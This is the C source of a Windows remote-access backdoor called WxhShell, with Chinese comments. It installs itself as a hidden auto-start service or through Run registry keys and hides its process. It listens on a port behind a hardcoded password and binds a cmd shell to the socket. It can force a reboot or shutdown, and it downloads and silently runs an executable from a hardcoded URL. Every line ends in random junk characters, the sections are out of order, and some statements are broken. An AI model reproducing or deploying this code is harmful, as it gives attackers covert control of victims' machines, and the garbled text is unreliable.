    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); { RX|  
    if(Boot(SHUTDOWN)) 4z DAfi#0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;m:GUp^[  
    else { 8VGXw;(Y,d  
    closesocket(wsh); (mr` ?LI}  
    ExitThread(0); &Zy=vk*  
    } ;4#8#;  
    break; k3h53QTmC  
    } &{{f|o=u.  
  // 获取shell M\4;d #  
  case 's': { BQ)43Rr>  
    CmdShell(wsh); [ +@<T)  
    closesocket(wsh); L k+1r8  
    ExitThread(0); Jm,X~Si  
    break; aT1 W] i  
  } BFu9KS+@)  
  // 退出 a8P 6-)W  
  case 'x': { RWcQT`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g' U^fN  
    CloseIt(wsh); T>o# *{q n  
    break; W/X;|m`  
    } 717m.t,x  
  // 离开  ,qqV11P]  
  case 'q': { [zd-=.:+M[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /s_$CSiB  
    closesocket(wsh); )F2tV ]k\  
    WSACleanup(); `3s-\>  
    exit(1); 6_><W"r:]  
    break; BV:,b S  
        } j!n> d  
  } +Z0E?,Oz  
  } ~m&oa@*=y  
")buDU6_  
  // 提示信息 <4bo7XH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .]l2)OlLQ  
} 3`q`W9  
  } 2b` M(QL  
  `.-C6!  
  return; 5-po>1g'  
} y_r6T XnGL  
X*) :N]  
// shell模块句柄 }#^F'%zf  
int CmdShell(SOCKET sock) {XW>:EU'N  
{ j"=jK^  
STARTUPINFO si; m,q<R1  
ZeroMemory(&si,sizeof(si)); bv];Gk*Z-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >p:fWQ6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O:R{4Q*5  
PROCESS_INFORMATION ProcessInfo; $QnfpM%+=  
char cmdline[]="cmd"; 0P >dXd)T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yln.E vJjD  
  return 0; E:OeU_\  
} AtYYu  
Tr!X2#)A!  
// 自身启动模式 N^at{I6C  
int StartFromService(void) KPqI(  
{ =MLL-a1  
typedef struct ir?9{t/()  
{ Ip-jqN J~  
  DWORD ExitStatus; }H.vH  
  DWORD PebBaseAddress; cv1L!Ce,  
  DWORD AffinityMask; go5!zSs  
  DWORD BasePriority; J z b".A  
  ULONG UniqueProcessId; >f/g:[  
  ULONG InheritedFromUniqueProcessId; t9{EO#o' k  
}   PROCESS_BASIC_INFORMATION; yh<aFYdk  
=,]M$M  
PROCNTQSIP NtQueryInformationProcess; 2F{IDcJI\  
.[A S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; = 0Sa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~`.%n7  
|XZf:}q5:  
  HANDLE             hProcess; u9(AT>HxT  
  PROCESS_BASIC_INFORMATION pbi; C(hg"_W ou  
+ k:?;ZG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mYX) =B{  
  if(NULL == hInst ) return 0; $Yc9><i  
^f]pK&MAmN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WLb7]rCTp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @I:&ozy }=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }hxYsI"d  
5Bk  
  if (!NtQueryInformationProcess) return 0; ;wZ.p"T9^  
AR^Di`n!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v2R:=d ')>  
  if(!hProcess) return 0; 6 [E"  
^u{$$.&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _A*0K,F-  
SF7 Scd  
  CloseHandle(hProcess);  v<W++X7z  
;<H2N0qJ(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /.bwwj_;  
if(hProcess==NULL) return 0; J$[Vm%56  
eNb =`  
HMODULE hMod; -`&;3 7  
char procName[255]; i YkNtqn/  
unsigned long cbNeeded; ^` THV  
cyyFIJj]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [E1I?hfJ  
g^FH[(P[G  
  CloseHandle(hProcess); 2t<CAKBB  
)1le-SC  
if(strstr(procName,"services")) return 1; // 以服务启动 AaVlNjB  
M-hnBt  
  return 0; // 注册表启动 fJKOuFK  
} zT"#9"["  
9"TPDU7"  
// 主模块 |.5d^z  
int StartWxhshell(LPSTR lpCmdLine) Dlp::U*N'  
{ M*%Z5,Tc  
  SOCKET wsl; Vv]mME@  
BOOL val=TRUE; wW~2]*n  
  int port=0; PoZBiw@  
  struct sockaddr_in door; fsoS!6h0k  
SbY i|V,H  
  if(wscfg.ws_autoins) Install(); ;7}*Xr|  
Q>$v~v?9  
port=atoi(lpCmdLine); G].Z| Z9  
1|--Xnv  
if(port<=0) port=wscfg.ws_port; sKtH4d5)  
>b0}X)Z+U  
  WSADATA data; RWYA`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ="4)!  
KMa?2cJH#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   va\cE*,@ns  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PQ" Dl=,  
  door.sin_family = AF_INET; h.NA$E?7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sj\8$QIXC  
  door.sin_port = htons(port); '4EJ_Vhztc  
$1YnQgpT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nM#\4Q[}Jh  
closesocket(wsl); QMP:}  
return 1; V! p;ME  
} &>SE9w/ ?o  
r.[kD"l  
  if(listen(wsl,2) == INVALID_SOCKET) { \oyr[so(i  
closesocket(wsl); Zr3KzY9  
return 1; Ex<0@Oz  
} sy;~(rpg  
  Wxhshell(wsl); f`cO5lP/:)  
  WSACleanup(); t V</ x0#  
}I"^WCyH  
return 0; (Q&Z/Fe  
kq+L63fZ  
} HUH=Y;  
;IyQqP#,<  
// 以NT服务方式启动 q-'zZ#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8l6R.l  
{ 1QThAFN  
DWORD   status = 0; :|bPr_&U$  
  DWORD   specificError = 0xfffffff; {>#Ya;E  
*:iFhKFU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JdE=!~\8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R/=yS7@{)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zrcSPh  
  serviceStatus.dwWin32ExitCode     = 0; cOSUe_S0w[  
  serviceStatus.dwServiceSpecificExitCode = 0; TeHR,GB  
  serviceStatus.dwCheckPoint       = 0; ^VD14V3  
  serviceStatus.dwWaitHint       = 0; ;-59#S&?tB  
2]|+.9B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sNWj+T  
  if (hServiceStatusHandle==0) return; /}Max@.`  
k# /_Zd  
status = GetLastError(); kjH0u$n  
  if (status!=NO_ERROR) rR xqV?>n!  
{ ebf0;1!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qbjRw!2?w  
    serviceStatus.dwCheckPoint       = 0; ].eGsh2  
    serviceStatus.dwWaitHint       = 0; V<b"jCXI  
    serviceStatus.dwWin32ExitCode     = status; >5\rU[H>  
    serviceStatus.dwServiceSpecificExitCode = specificError; j:g/[_0s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Mth<%i  
    return; 'j|;M  
  } MOXDR  
2!A/]:[F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d:3G4g  
  serviceStatus.dwCheckPoint       = 0; WK-WA$7\  
  serviceStatus.dwWaitHint       = 0; 6H@=O 1W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c}QjKJ-c  
} Vx'_fb?wap  
 C+_ NG  
// 处理NT服务事件,比如:启动、停止 _("{fJ,A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o`G@Je_}x  
{ *x$\5;A  
switch(fdwControl) H'+P7*k#M  
{ !I@"+oY<  
case SERVICE_CONTROL_STOP: [!"u&iu`  
  serviceStatus.dwWin32ExitCode = 0; CZ|R-ky6p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KdUmetx1  
  serviceStatus.dwCheckPoint   = 0; bx1'  
  serviceStatus.dwWaitHint     = 0; o}<}zTU  
  { S>nM&758  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Y D6  
  } 7 yK >  
  return; 5E$)Ip  
case SERVICE_CONTROL_PAUSE: %A04'dj`zQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .-{B  
  break; ACs?m\$Q  
case SERVICE_CONTROL_CONTINUE: dAR):ZKq?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [E+#+-n7  
  break; 1N2s[ \q$  
case SERVICE_CONTROL_INTERROGATE: : -OHD#>%  
  break; bEbnZ<kz*  
}; m3,i{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YoJN.],gf  
} OPar"z^EV  
qm2  
// 标准应用程序主函数 dF"Sz4DY#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5TqX;=B  
{ ~nw]q<7r  
/_v@YB!0  
// 获取操作系统版本 D3$}S{Yw1  
OsIsNt=GetOsVer(); ygh*oVHO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S Bs_rhe  
C,.$g>)MZK  
  // 从命令行安装 t\X5B]EZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); U]O7RH  
r/SV.` k  
  // 下载执行文件 |oa 9 g2  
if(wscfg.ws_downexe) { IWX%6*Zz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !ce5pA  
  WinExec(wscfg.ws_filenam,SW_HIDE); !h4L_D0  
} #7GbG\  
|,|b~>  
if(!OsIsNt) { O.Z<dy+  
// 如果时win9x,隐藏进程并且设置为注册表启动 .>_p7=a  
HideProc(); ?Jio9Zr  
StartWxhshell(lpCmdLine); YvRMUT  
} Gz@'W%6yaV  
else 1jpcoJ@s  
  if(StartFromService()) lUbQ@7a<'  
  // 以服务方式启动 a~=$9+?w  
  StartServiceCtrlDispatcher(DispatchTable); 4 @ )|N'  
else 4gzrxV  
  // 普通方式启动 j'g':U  
  StartWxhshell(lpCmdLine); =otJf~  
Nw* >$v  
return 0; ND77(I$3s  
} se2ay_<F+  
{fmSmD  
q,A;d^g  
blEs!/A`  
=========================================== "CX&2Xfe  
*%bQp  
A70x+mjy^T  
=y.?=`"  
|p}qK Fdi  
/z9oPIJ=*  
" h.(CAm%Y7  
w-LMV>+6|  
#include <stdio.h> 2Ck'A0d  
#include <string.h> bd_&=VLTC  
#include <windows.h> 0j@gC0xu)|  
#include <winsock2.h> <KlG#7M>  
#include <winsvc.h> i{vM NI{  
#include <urlmon.h> .-Yhpw>f  
Ksr.'  
#pragma comment (lib, "Ws2_32.lib") ;rC)*=4#  
#pragma comment (lib, "urlmon.lib") NBU[>P  
W6:ei.d+NS  
#define MAX_USER   100 // 最大客户端连接数 80DcM9^t8  
#define BUF_SOCK   200 // sock buffer S2T~7-  
#define KEY_BUFF   255 // 输入 buffer &;I=*B~kE$  
n$&xVaF|  
#define REBOOT     0   // 重启 q$7SJ.pF  
#define SHUTDOWN   1   // 关机 R9%Um6  
(pJ-_w' G  
#define DEF_PORT   5000 // 监听端口 )%FRBO]  
C7:;<<"P  
#define REG_LEN     16   // 注册表键长度 _Z'[-rcXWh  
#define SVC_LEN     80   // NT服务名长度 [<CIh46S.  
os 9X)G  
// 从dll定义API 8K$q6V%#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lC):$W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gJz~~g'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MZ]#9/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pv,Q*gh`  
LX5, _`B  
// wxhshell配置信息 ]#x!mZ!  
struct WSCFG { b+7!$  
  int ws_port;         // 监听端口 ?( rJ  
  char ws_passstr[REG_LEN]; // 口令 SFP%UfM<  
  int ws_autoins;       // 安装标记, 1=yes 0=no V 3?x_pp  
  char ws_regname[REG_LEN]; // 注册表键名 L Vt{`   
  char ws_svcname[REG_LEN]; // 服务名 D; i%J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T$)N2]FE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i^ `]TOP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^FJ .C|l(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F-0|&0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /a@gE^TM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jG~zpZh  
Y_S>S( 0  
}; t|XQFb@}  
fR]%:'2k  
// default Wxhshell configuration (nL''#Ka  
struct WSCFG wscfg={DEF_PORT, @'XxMO[Z!<  
    "xuhuanlingzhe", ~ A?  
    1, a8$gXX-2  
    "Wxhshell", R{N9'2l:  
    "Wxhshell", _ljdo`j#N  
            "WxhShell Service", nZ7FG  
    "Wrsky Windows CmdShell Service", C5k\RS9  
    "Please Input Your Password: ", 1VRe xp  
  1, />FgDIO  
  "http://www.wrsky.com/wxhshell.exe", *?dw`j_b >  
  "Wxhshell.exe" ,j^z];  
    }; <B"M} Y>_P  
N3O~_=/v?  
// 消息定义模块 >Z-f</v03  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p)'.swpJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %z9eVkPI~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?7n(6kmj4Q  
char *msg_ws_ext="\n\rExit."; uj 6dP  
char *msg_ws_end="\n\rQuit."; !LDuCz -  
char *msg_ws_boot="\n\rReboot..."; tw{V7r~n  
char *msg_ws_poff="\n\rShutdown..."; WJ D1U?`  
char *msg_ws_down="\n\rSave to "; $d:>(_p=A  
"lU%Pm]>  
char *msg_ws_err="\n\rErr!"; 9'tOF  
char *msg_ws_ok="\n\rOK!"; =gG_ %]``R  
(`nn\)  
char ExeFile[MAX_PATH]; 35>VCjCw0  
int nUser = 0; Ro1b (+H  
HANDLE handles[MAX_USER]; dG {D2~#  
int OsIsNt; <S/`-/= 2  
LY> -kz]  
SERVICE_STATUS       serviceStatus; 8~q%H1[I\N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;ndsq[k>  
<Vu/6"DP  
// 函数声明 z^xrB$8 u  
int Install(void); cU`sA_f  
int Uninstall(void); n+Bh-aV  
int DownloadFile(char *sURL, SOCKET wsh); fYv= yP~  
int Boot(int flag); gt~hUwL  
void HideProc(void); _DlkTi5(w  
int GetOsVer(void); 4|PNsHXt  
int Wxhshell(SOCKET wsl); \*24NB  
void TalkWithClient(void *cs); <0?h$hf4c  
int CmdShell(SOCKET sock); 7J:zIC$u>  
int StartFromService(void); @#wBK3Ut^  
int StartWxhshell(LPSTR lpCmdLine); Tno[LP,  
1#o>< ?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7soiy A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9t`   
 Xn<~ln  
// 数据结构和表定义 #:C?:RMS  
SERVICE_TABLE_ENTRY DispatchTable[] = SiBhf3   
{ =Tdh]0  
{wscfg.ws_svcname, NTServiceMain}, 5|I2  
{NULL, NULL} e7fA-,DV  
}; A$w0+&*=  
$8k QM  
// 自我安装 Mwm=r//  
int Install(void) j9sK P]w  
{ ?hW?w$C  
  char svExeFile[MAX_PATH]; 7hQf T76h  
  HKEY key; f(Hh(  
  strcpy(svExeFile,ExeFile); Lbo8> L(  
Woo2hg-ti  
// 如果是win9x系统,修改注册表设为自启动 lz=DP:/&  
if(!OsIsNt) { &PfCY{_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z?a<&`W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0H|U9  
  RegCloseKey(key); ve#*qz Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lP9XqQ(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y1zNF$<q  
  RegCloseKey(key); W`$D*X0*o  
  return 0; |(mr&7O  
    } -]!m4xvK  
  } 1r %~Rm  
} H*SEzVb  
else { rkp 1tv  
bC[TLsh7{2  
// 如果是NT以上系统,安装为系统服务 %j '_I\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vkQ81PEt  
if (schSCManager!=0) $-Ud&sjn  
{ LdSBNg#3  
  SC_HANDLE schService = CreateService .iDxq8l  
  ( ]}K\&ho2  
  schSCManager, BseK?`]U"  
  wscfg.ws_svcname, %]~XbO  
  wscfg.ws_svcdisp, uU&,KEH  
  SERVICE_ALL_ACCESS, vXdz?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I(i/|S&^  
  SERVICE_AUTO_START, i{['18Q$F3  
  SERVICE_ERROR_NORMAL, V !Cu%4  
  svExeFile, z0XH`H|~  
  NULL, pP1|/f5n`  
  NULL, TB=KT j  
  NULL, T?p' R  
  NULL, "K.XoG4|  
  NULL N k~Xz  
  ); !^o(?1  
  if (schService!=0) 1KH]l336D"  
  { I|RMxx y;  
  CloseServiceHandle(schService); H(eGqVAq,  
  CloseServiceHandle(schSCManager); ."N`X\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pc= S^}+  
  strcat(svExeFile,wscfg.ws_svcname); 3ug|H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^LA.Y)4C2%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WYHr'xJ  
  RegCloseKey(key); nG0Uv%?{pj  
  return 0; c&A;0**K,  
    } --ED]S 8  
  } 5&&6e`  
  CloseServiceHandle(schSCManager); $O n  
} /}_OCuJJ,  
} %?o@YwBo^E  
$_2S,3 }  
return 1; R @h@@lSf  
} 6mawcK:7  
qDOJ;> I  
// 自我卸载 2u0dn?9\  
int Uninstall(void) C'iJFf gR  
{ (9;qV:0`  
  HKEY key; Gi<ik~  
6 (:^>@  
if(!OsIsNt) { X >i`z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ch`nDIne  
  RegDeleteValue(key,wscfg.ws_regname); Dv7/eRt  
  RegCloseKey(key); f8>S<:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :z;}:+7n  
  RegDeleteValue(key,wscfg.ws_regname); k\:f2%!!  
  RegCloseKey(key); 1|4'3^3  
  return 0; |2yTt*!-r  
  } <Pg]V:=g'  
} \ 2Jr( ?U  
}  (h"Yw  
else { v-* CE[  
+y+-~;5iv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {gSR49!Q  
if (schSCManager!=0) IIN"'7Z^R  
{ M6ol/.G[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *`}4]OGv.  
  if (schService!=0) {{FA "NW  
  { -:O~J#D  
  if(DeleteService(schService)!=0) { VrV* -J'  
  CloseServiceHandle(schService); ^':Az6Z  
  CloseServiceHandle(schSCManager); \M ]w I  
  return 0; rcc.FS  
  } &"V%n  
  CloseServiceHandle(schService); &FQ]`g3_@  
  } NNWbbU3wjh  
  CloseServiceHandle(schSCManager); $N7:;X"l  
} @ 2mJh^cj  
} zTFfft<  
-0KQR{LI  
return 1; $ Cr? }'a  
} )~hsd+ 0t  
!Ua74C  
// 从指定url下载文件 R~-r8dWcw  
int DownloadFile(char *sURL, SOCKET wsh) "HWl7c3q  
{ \wmNeGC2  
  HRESULT hr; Ga4Ru  
char seps[]= "/"; ~YxLDo'.t  
char *token; ]rEFWA  
char *file; !}sYPz]7!  
char myURL[MAX_PATH]; OL{U^uOhY  
char myFILE[MAX_PATH]; m6qmZ2<  
+C~,q{u  
strcpy(myURL,sURL); gnS0$kCJ:  
  token=strtok(myURL,seps); &} b'cO  
  while(token!=NULL) !_+LmBd G  
  { %ZV a{Nc  
    file=token; i!/V wGg  
  token=strtok(NULL,seps); C[j'0@~V:B  
  }  T)o)%Yv  
`jR= X  
GetCurrentDirectory(MAX_PATH,myFILE); URW#nm?  
strcat(myFILE, "\\"); M5C}*c9  
strcat(myFILE, file); C9-90,  
  send(wsh,myFILE,strlen(myFILE),0); {5+t\~q$  
send(wsh,"...",3,0); s'LY)_n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v})0zz?,1  
  if(hr==S_OK) Q+ ;6\.#r  
return 0; >@b7 0X!J]  
else 6gS<h \h0  
return 1; =bUVGjr%96  
!<"H73?fl  
} P |c6V  
A[lkGQtS4  
// 系统电源模块 .tB[8Y=J  
int Boot(int flag)  D7%`hU  
{ w.qpV]9>  
  HANDLE hToken; aHKv*-z-  
  TOKEN_PRIVILEGES tkp; KZn\ iwj  
L+@RK6dq  
  if(OsIsNt) { M9MfO*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uS3 s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  EthnI7Y  
    tkp.PrivilegeCount = 1; clz6; P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NQq$0<7.=W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GXC:~$N  
if(flag==REBOOT) { ^s25z=^t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9:^SnHAa  
  return 0; Pms"YhyZ7  
} [((P ,v*  
else { [`P+{ R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (o_wv  
  return 0; wVCZ=\L}  
} Lwgk}!KR  
  } sygAEL;.  
  else { `B;^:u  
if(flag==REBOOT) { ugg08am!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tP2hU[7Z  
  return 0; >Pv#)qtm  
} ]|[,N>  
else { u\zRWX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F9q<MTh  
  return 0; &1:xY.Zs_  
} :)+|q  
} ^9eJ)12pK  
x|l[fdm5  
return 1; ))}w;w   
} 1btQ[a6j  
I%(`2 rD8G  
// win9x进程隐藏模块 QK -_~9V  
void HideProc(void) XGZ1a/x;s  
{ XW6Ewrm=vT  
8>G3KZ3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bH+p5Fd;  
  if ( hKernel != NULL ) > TG:}H(J  
  { HT/zcd)}#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,Z*?"d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \R45#. P6X  
    FreeLibrary(hKernel); L.bR\fE   
  } oDul ?%  
Klh7&HzR  
return; m4(:H(Za  
} '7Dg+a^x7  
P?*$Wf,~n  
// 获取操作系统版本 ;X6FhQ;{*0  
int GetOsVer(void) A P><l@  
{ g"|QI=&_J  
  OSVERSIONINFO winfo; o Y_(UIa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O<l_2?S1  
  GetVersionEx(&winfo); $trvNbco  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]ERPWW;^  
  return 1; Ia:n<sZU  
  else $x]'6  
  return 0; >=c<6#:s<9  
} g7@G&Ro9J\  
Cul^b_UmP#  
// 客户端句柄模块 ZLe@O~f;%  
int Wxhshell(SOCKET wsl) hdtb.u~  
{ n= yT%V. l  
  SOCKET wsh; SnVIV%  
  struct sockaddr_in client; #(-V^ T  
  DWORD myID; %"V Y)  
pZz?c/h-  
  while(nUser<MAX_USER) "exph$  
{ hZ!N8nWwNR  
  int nSize=sizeof(client); >5)E\4r-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A!&p,KfT5+  
  if(wsh==INVALID_SOCKET) return 1; 2MmqGB}YcW  
&Cp)\`[y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x/47e8/  
if(handles[nUser]==0) GQ ZEMy7  
  closesocket(wsh); NK]X="`  
else aH'Sz'|E  
  nUser++; E[HXbj"  
  } TTpK8cC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !'(bwbd  
a5C%OI<  
  return 0; J3cbDE%^m  
} P4"_qxAW  
to9 u%d8  
// 关闭 socket k$?zh$  
void CloseIt(SOCKET wsh) %qL0=ad  
{ .]g>.  
closesocket(wsh); ^il'Q_-{  
nUser--; ]&w>p#_C  
ExitThread(0); si,fs%D&  
} 3{ i'8  
+[Nc";Oy  
// 客户端请求句柄 gJ cf~@s  
void TalkWithClient(void *cs) Y s[JxP  
{ " jly[M}C  
5$0@f`sj  
  SOCKET wsh=(SOCKET)cs; |=2E?&%?  
  char pwd[SVC_LEN]; MHmaut#  
  char cmd[KEY_BUFF]; :Lqz`  
char chr[1]; fgYdKv8  
int i,j; '}4LHB;:  
@V:4tG.<sw  
  while (nUser < MAX_USER) { msOk~ZPE6\  
OoTMvZP[  
if(wscfg.ws_passstr) { vBAds  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7H~StdL/>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i]!CH2\  
  //ZeroMemory(pwd,KEY_BUFF); UbKdB  
      i=0; TWkuR]5  
  while(i<SVC_LEN) { o%X@Bz  
:a#Mq9ph!  
  // 设置超时 bS_fWD-  
  fd_set FdRead; p6u"$)wt  
  struct timeval TimeOut; Tq[=&J  
  FD_ZERO(&FdRead); 8xzEbRNJ)  
  FD_SET(wsh,&FdRead); vQ"EI1=7Z  
  TimeOut.tv_sec=8; K0_/;a] |  
  TimeOut.tv_usec=0; `J \1t K{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q]Q]kj2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VqV6)6   
3\WLm4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]+x;tP o  
  pwd=chr[0]; ^XEX"E  
  if(chr[0]==0xd || chr[0]==0xa) { J(F]?H  
  pwd=0; ?3jOE4~aHr  
  break; <X~ X#9V  
  } vUh.ev0  
  i++; k]W~_  
    }  *e{d^  
H^sPC{6+pf  
  // 如果是非法用户,关闭 socket E8#RG-ci  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rld4uy}m  
} X'4e)E3*O  
HV ab14}E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'p,QI>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'aMT^w4if)  
I@~hz%'  
while(1) { s,> 1n0a  
Z'p7I}-qr  
  ZeroMemory(cmd,KEY_BUFF); 5-l cz)DO  
J&4LyIpQ  
      // 自动支持客户端 telnet标准   +ew2+2  
  j=0; S*~v9+  
  while(j<KEY_BUFF) { G m40u/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l@7X gsey  
  cmd[j]=chr[0]; zbn0)JO  
  if(chr[0]==0xa || chr[0]==0xd) { !^BXai/  
  cmd[j]=0; L9[? qFp  
  break; ] )D\ws)a9  
  } $[txZN  
  j++; Ld6j;ZJ';  
    } uSp=,2)  
gK7j~.bb"  
  // 下载文件 C*Avu  
  if(strstr(cmd,"http://")) { ~jMdM~}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #]bWE$sU<  
  if(DownloadFile(cmd,wsh)) !/O c)Yk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'zV/4iE=  
  else r168ft?c  
